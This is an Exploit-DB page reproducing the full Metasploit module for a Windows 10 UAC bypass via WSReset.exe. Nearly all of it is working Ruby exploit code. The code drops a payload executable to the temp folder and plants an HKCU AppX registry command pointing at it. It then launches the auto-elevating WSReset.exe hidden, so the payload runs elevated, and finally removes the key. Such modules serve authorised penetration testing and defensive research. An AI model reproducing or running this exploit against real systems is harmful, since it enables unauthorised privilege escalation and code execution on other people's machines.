Windows 10 - UAC Protection Bypass Via Windows Store (WSReset.exe) and Registry (Metasploit)

EDB-ID:

47378

CVE:

N/A


Author:

Metasploit

Type:

local


Platform:

Windows

Date:

2019-09-10


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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ManualRanking

  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper
  include Post::Windows::Priv
  include Post::Windows::Runas

  def initialize(info = {})
    super(
      update_info(info,
        'Name'          => 'Windows 10 UAC Protection Bypass Via Windows Store (WSReset.exe) and Registry',
        'Description'   => %q(
        This module exploits a flaw in the WSReset.exe file associated with the Windows
        Store.  This binary has autoelevate privs, and it will run a binary file
        contained in a low-privilege registry location.  By placing a link to
        the binary in the registry location, WSReset.exe will launch the binary as
        a privileged user.
        ),
        'License'       => MSF_LICENSE,
        'Author'        => [
          'ACTIVELabs',   # discovery
          'sailay1996',   # poc
          'bwatters-r7',  # metasploit module
        ],
        'Platform'      => ['win'],
        'SessionTypes'  => ['meterpreter'],
        'Targets'       => [[ 'Automatic', {} ]],
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'WfsDelay'     => 15
        },
        'DisclosureDate'  => 'Feb 19 2019',
        'Notes'           =>
        {
          'SideEffects' => [ ARTIFACTS_ON_DISK, SCREEN_EFFECTS ]
        },
        'References'    => [
          ['URL', 'https://www.activecyber.us/activelabs/windows-uac-bypass'],
          ['URL', 'https://heynowyouseeme.blogspot.com/2019/08/windows-10-lpe-uac-bypass-in-windows.html'],
          ['URL', 'https://github.com/sailay1996/UAC_bypass_windows_store'],
        ]
      )
    )
    register_options(
      [OptString.new('PAYLOAD_NAME', [false, 'The filename to use for the payload binary (%RAND% by default).', nil])]
    )

  end

  def check
    if sysinfo['OS'] =~ /Windows 10/ && is_uac_enabled? && exists?("C:\\Windows\\System32\\WSReset.exe")
      return CheckCode::Appears
    end

    CheckCode::Safe
  end

  def exploit
    check_permissions!
    case get_uac_level
    when UAC_PROMPT_CREDS_IF_SECURE_DESKTOP,
      UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP,
      UAC_PROMPT_CREDS, UAC_PROMPT_CONSENT
      fail_with(Failure::NotVulnerable,
                "UAC is set to 'Always Notify'. This module does not bypass this setting, exiting...")
    when UAC_DEFAULT
      print_good('UAC is set to Default')
      print_good('BypassUAC can bypass this setting, continuing...')
    when UAC_NO_PROMPT
      print_warning('UAC set to DoNotPrompt - using ShellExecute "runas" method instead')
      shell_execute_exe
      return
    end

    # get directory locations straight
    win_dir = session.sys.config.getenv('windir')
    vprint_status("win_dir = " + win_dir)
    tmp_dir = session.sys.config.getenv('tmp')
    vprint_status("tmp_dir = " + tmp_dir)
    exploit_dir = win_dir + "\\System32\\"
    vprint_status("exploit_dir = " + exploit_dir)
    reset_filepath = exploit_dir + "WSReset.exe"
    vprint_status("exploit_file = " + reset_filepath)

    # make payload
    payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha((rand(8) + 6)) + '.exe'
    payload_pathname = tmp_dir + '\\' + payload_name
    vprint_status("payload_pathname = " + payload_pathname)
    vprint_status("Making Payload")
    payload = generate_payload_exe
    reg_command = exploit_dir + "cmd.exe /c start #{payload_pathname}"
    vprint_status("reg_command = " + reg_command)
    registry_key = "HKCU\\Software\\Classes\\AppX82a6gwre4fdg3bt635tn5ctqjf8msdd2\\Shell\\open\\command"


    # make registry changes
    vprint_status("Making Registry Changes")
    begin
      registry_createkey(registry_key)
      registry_setvaldata(registry_key, "DelegateExecute", '', "REG_SZ")
      registry_setvaldata(registry_key, '', reg_command, "REG_SZ")
    rescue ::Exception => e
      print_error(e.to_s)
    end
    vprint_status("Registry Changes Complete")
    # Upload payload
    vprint_status("Uploading Payload to #{payload_pathname}")
    write_file(payload_pathname, payload)
    vprint_status("Payload Upload Complete")

    vprint_status("Launching " + reset_filepath)
    begin
      session.sys.process.execute("cmd.exe /c \"#{reset_filepath}\"", nil, 'Hidden' => true)
    rescue ::Exception => e
      print_error(e.to_s)
    end
    print_warning("This exploit requires manual cleanup of '#{payload_pathname}!")
    # wait for a few seconds before cleaning up
    sleep(20)
    vprint_status("Removing Registry Changes")
    registry_deletekey(registry_key)
    vprint_status("Registry Changes Removed")
  end

  def check_permissions!
    unless check == Exploit::CheckCode::Appears
      fail_with(Failure::NotVulnerable, "Target is not vulnerable.")
    end
    fail_with(Failure::None, 'Already in elevated state') if is_admin? || is_system?
    # Check if you are an admin
    # is_in_admin_group can be nil, true, or false
    print_status('UAC is Enabled, checking level...')
    vprint_status('Checking admin status...')
    admin_group = is_in_admin_group?
    if admin_group.nil?
      print_error('Either whoami is not there or failed to execute')
      print_error('Continuing under assumption you already checked...')
    else
      if admin_group
        print_good('Part of Administrators group! Continuing...')
      else
        fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
      end
    end

    if get_integrity_level == INTEGRITY_LEVEL_SID[:low]
      fail_with(Failure::NoAccess, 'Cannot BypassUAC from Low Integrity Level')
    end
  end
end